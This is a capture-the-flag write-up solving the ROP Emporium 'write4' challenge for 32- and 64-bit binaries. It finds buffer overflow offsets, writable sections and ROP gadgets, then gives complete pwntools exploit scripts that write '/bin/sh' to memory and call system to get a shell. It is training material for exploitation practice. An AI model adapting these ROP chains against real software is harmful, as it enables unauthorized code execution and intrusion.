Write4 32 Bit

In this challenge, there’s no more “/bin/cat flag.txt” string that can be used to get the flag. We can either try to write those string or “/bin/sh” string into memory to get a shell. The steps to achieve it are:

  1. Find the writable memory section inside the binary.
  2. Find the suitable ROP Gadget to write “/bin/sh” into the memory.
  3. Find the suitable ROP Gadget to call the system@plt with the “/bin/sh” as the argument.

Let’s find the EIP offset using Radare2.

root@Perseverance:~/rop_emporium/write432# r2 -de dbg.profile=profile.rr2 write432
Process with PID 2279 started...
= attach 2279 2279
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
glibc.fc_offset = 0x00148
[0xf7f2e0b0]> dc
write4 by ROP Emporium
32bits

Go ahead and give me the string already!
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41415041 code=1 ret=0
[0x41415041]> wopO `dr eip`
44


EIP offset is 44. Find the writable memory section using readelf command.

root@Perseverance:~/Documents/pwning/rop_emporium/write432# readelf --sections write432
There are 31 section headers, starting at offset 0x196c:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000030 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481dc 0001dc 0000d0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          080482ac 0002ac 000081 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804832e 00032e 00001a 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         08048348 000348 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048368 000368 000020 08   A  5   0  4
  [10] .rel.plt          REL             08048388 000388 000038 08  AI  5  24  4
  [11] .init             PROGBITS        080483c0 0003c0 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080483f0 0003f0 000080 04  AX  0   0 16
  [13] .plt.got          PROGBITS        08048470 000470 000008 00  AX  0   0  8
  [14] .text             PROGBITS        08048480 000480 000262 00  AX  0   0 16
  [15] .fini             PROGBITS        080486e4 0006e4 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        080486f8 0006f8 000064 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0804875c 00075c 00003c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        08048798 000798 00010c 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 000028 04  WA  0   0  4
  [25] .data             PROGBITS        0804a028 001028 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804a040 001030 00002c 00  WA  0   0 32
  [27] .comment          PROGBITS        00000000 001030 000034 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 001861 00010a 00      0   0  1
  [29] .symtab           SYMTAB          00000000 001064 000510 10     30  50  4
  [30] .strtab           STRTAB          00000000 001574 0002ed 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)


Pay attention at the Flg column. WA means writable and allocable, so the 19th - 26th entry can be used to write the “/bin/sh” string. I will use the .data section as the target (data_addr =  0x0804a028).To be able to write the “/bin/sh” string, first we need ROP gadget that will POP two values (the .data address and the “/bin/sh” string) into registers and then write the “/bin/sh” string into the .data address.

root@Perseverance:~/rop_emporium/write432# python ROPgadget.py --binary write432
--snipped--
0x08048670 : mov dword ptr [edi], ebp ; ret
0x080486da : pop edi ; pop ebp ; ret       
--snipped--


Above ROP Gadget suitable for our requirements. Since we working on 32 bit, The “/bin/sh” string need to be split into two parts “/bin” and “//sh”. So we first write the “/bin” and then the “//sh”. So far we already have the necessary values to write “/bin/sh”:
datasection_addr = 0x0804a028
pop_edi_ebp = 0x080486da
mov_edi_ebp = 0x08048670 

To write the “/bin/sh” string into .data section, the payload will be:

# Write "/bin" string into .data section
rop = pop_edi_ebp
rop += p32(data_addr)
rop += "/bin"
rop += mov_edi_ebp

# Write "//sh" string into .data section after "/bin"
rop += pop_edi_ebp
rop += p32(data_addr+4)
rop += "//sh"
rop += mov_edi_ebp


Get the system@plt address and use it to execute “/bin/sh”.

root@Perseverance:~/rop_emporium/write432# objdump -d write432 | grep system@plt
08048430 <system@plt>:
 804865a:       e8 d1 fd ff ff          call   8048430 <system@plt>


Final payload:

# Write "/bin" string into .data section
rop = pop_edi_ebp
rop += p32(data_addr)
rop += "/bin"
rop += mov_edi_ebp

# Write "//sh" string into .data section after "/bin"
rop += pop_edi_ebp
rop += p32(data_addr+4)
rop += "//sh"
rop += mov_edi_ebp

# System call to execute "/bin/sh"
payload = junk + rop + system_plt + "junk" + p32(data_addr)


Below is a simple python script using pwntools to automate the process.

#!/usr/bin/python
from pwn import *

def main():
    junk = "A" * 44                 # EIP Offset at 44
    data_addr = 0x0804a028          # readelf -x .data write432
    pop_edi_ebp = p32(0x080486da)   # pop edi ; pop ebp ; ret
    mov_edi_ebp = p32(0x08048670)   # mov dword ptr [edi], ebp ; ret
    system_plt =p32(0x8048430)	    # objdump -d write432 | grep system@plt

    # Write "/bin" string into .data section
    rop = pop_edi_ebp
    rop += p32(data_addr)
    rop += "/bin"
    rop += mov_edi_ebp

    # Write "//sh" string into .data section after "/bin"
    rop += pop_edi_ebp
    rop += p32(data_addr+4)
    rop += "//sh"
    rop += mov_edi_ebp

    # System call to execute "/bin/sh"
    payload = junk + rop + system_plt + "junk" + p32(data_addr)
    p = process("./write432")

    p.sendlineafter("> ",payload)
    p.interactive()

if __name__ == "__main__":
    main()


Run the script and get the Shell.

root@Perseverance:~/rop_emporium/write432# ./write432.py 
[+] Starting local process './write432': pid 7053
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)



Write4 64 Bit

Let’s find the RIP offset using Radare2.

root@Perseverance:~/rop_emporium/write4# r2 -de dbg.profile=profile.rr2 write4
Process with PID 6608 started...
= attach 6608 6608
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[0x7f312396a090]> dc
write4 by ROP Emporium
64bits

Go ahead and give me the string already!
> child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 ret=0
[0x00400806]> pxq 8@rsp
0x7ffc59baa7a8  0x41415041414f4141                       AAOAAPAA
[0x00400806]> wopO 0x41415041414f4141
40


RIP offset is 40. Find the writable memory section using readelf command.

root@Perseverance:~/Documents/pwning/rop_emporium/write4# readelf --sections write4
There are 31 section headers, starting at offset 0x1bf0:

--snipped--
  [19] .init_array       INIT_ARRAY       0000000000600e10  00000e10
       0000000000000008  0000000000000000  WA       0     0     8
  [20] .fini_array       FINI_ARRAY       0000000000600e18  00000e18
       0000000000000008  0000000000000000  WA       0     0     8
  [21] .jcr              PROGBITS         0000000000600e20  00000e20
       0000000000000008  0000000000000000  WA       0     0     8
  [22] .dynamic          DYNAMIC          0000000000600e28  00000e28
       00000000000001d0  0000000000000010  WA       6     0     8
  [23] .got              PROGBITS         0000000000600ff8  00000ff8
       0000000000000008  0000000000000008  WA       0     0     8
  [24] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000050  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000601050  00001050
       0000000000000010  0000000000000000  WA       0     0     8
  [26] .bss              NOBITS           0000000000601060  00001060
       0000000000000030  0000000000000000  WA       0     0     32

--snipped--


The .data section address is  0x0000000000601050. To be able to write the “/bin/sh” string, first we need ROP gadget that will POP two values (the .data address and the “/bin/sh” string) into registers and then write the “/bin/sh” string into the .data address. 

root@Perseverance:~/rop_emporium/write4# python ROPgadget.py --binary write4
--snipped--
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret    
--snipped--


Above ROP Gadget suitable for our requirements. Since we working on 64 bit, we can write the “/bin/sh” string in one part. So far we already have the necessary values to write “/bin/sh”:
datasection_addr = 0x0000000000601050
pop_r14_r15 = 0x0000000000400890
mov_r14_r15 = 0x0000000000400820

To write the “/bin//sh” string into .data section, the payload will be:

# Write "/bin//sh" string into .data section
rop = pop_r14_r15
rop += data_addr
rop += "/bin//sh"
rop += mov_r14_r15


Get the system@plt address and and ROP gadget to push “/bin//sh” string from .data section into RDI register.

root@Perseverance:~/rop_emporium/write4# objdump -d write4 | grep system@plt
00000000004005e0 <system@plt>:
  400810:       e8 cb fd ff ff          callq  4005e0 <system@plt>

root@Perseverance:~/rop_emporium/write4# python ROPgadget.py --binary write4 | grep "pop rdi"
0x0000000000400893 : pop rdi ; ret


Final payload:

# Write "/bin//sh" string into .data section
rop = pop_r14_r15
rop += data_addr
rop += "/bin//sh"
rop += mov_r14_r15

# System call to execute "/bin/sh"
payload = junk + rop + pop_rdi + data_addr + system_plt


Below is a simple python script using pwntools to automate the process.

#!/usr/bin/python
from pwn import *

def main():
    junk = "A" * 40                         # RIP Offset at 40
    data_addr = p64(0x00601050)             # readelf -x .data write4
    pop_r14_r15 = p64(0x0000000000400890)   # pop r14 ; pop r15 ; ret
    mov_r14_r15 = p64(0x0000000000400820)   # mov qword ptr [r14], r15 ; ret
    pop_rdi = p64(0x0000000000400893)       # pop rdi ; ret
    system_plt = p64(0x4005e0)              # objdump -d write4 | grep system@plt

    # Write "/bin//sh" string into .data section
    rop = pop_r14_r15
    rop += data_addr
    rop += "/bin//sh"
    rop += mov_r14_r15

    # System call to execute "/bin/sh"
    payload = junk + rop + pop_rdi + data_addr + system_plt
    p = process("./write4")

    p.sendlineafter("> ", payload)
    p.interactive()

if __name__ == "__main__":
    main()


Run the script and get the Shell.

root@Perseverance:~/rop_emporium/write4# ./write4.py 
[+] Starting local process './write4': pid 9620
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)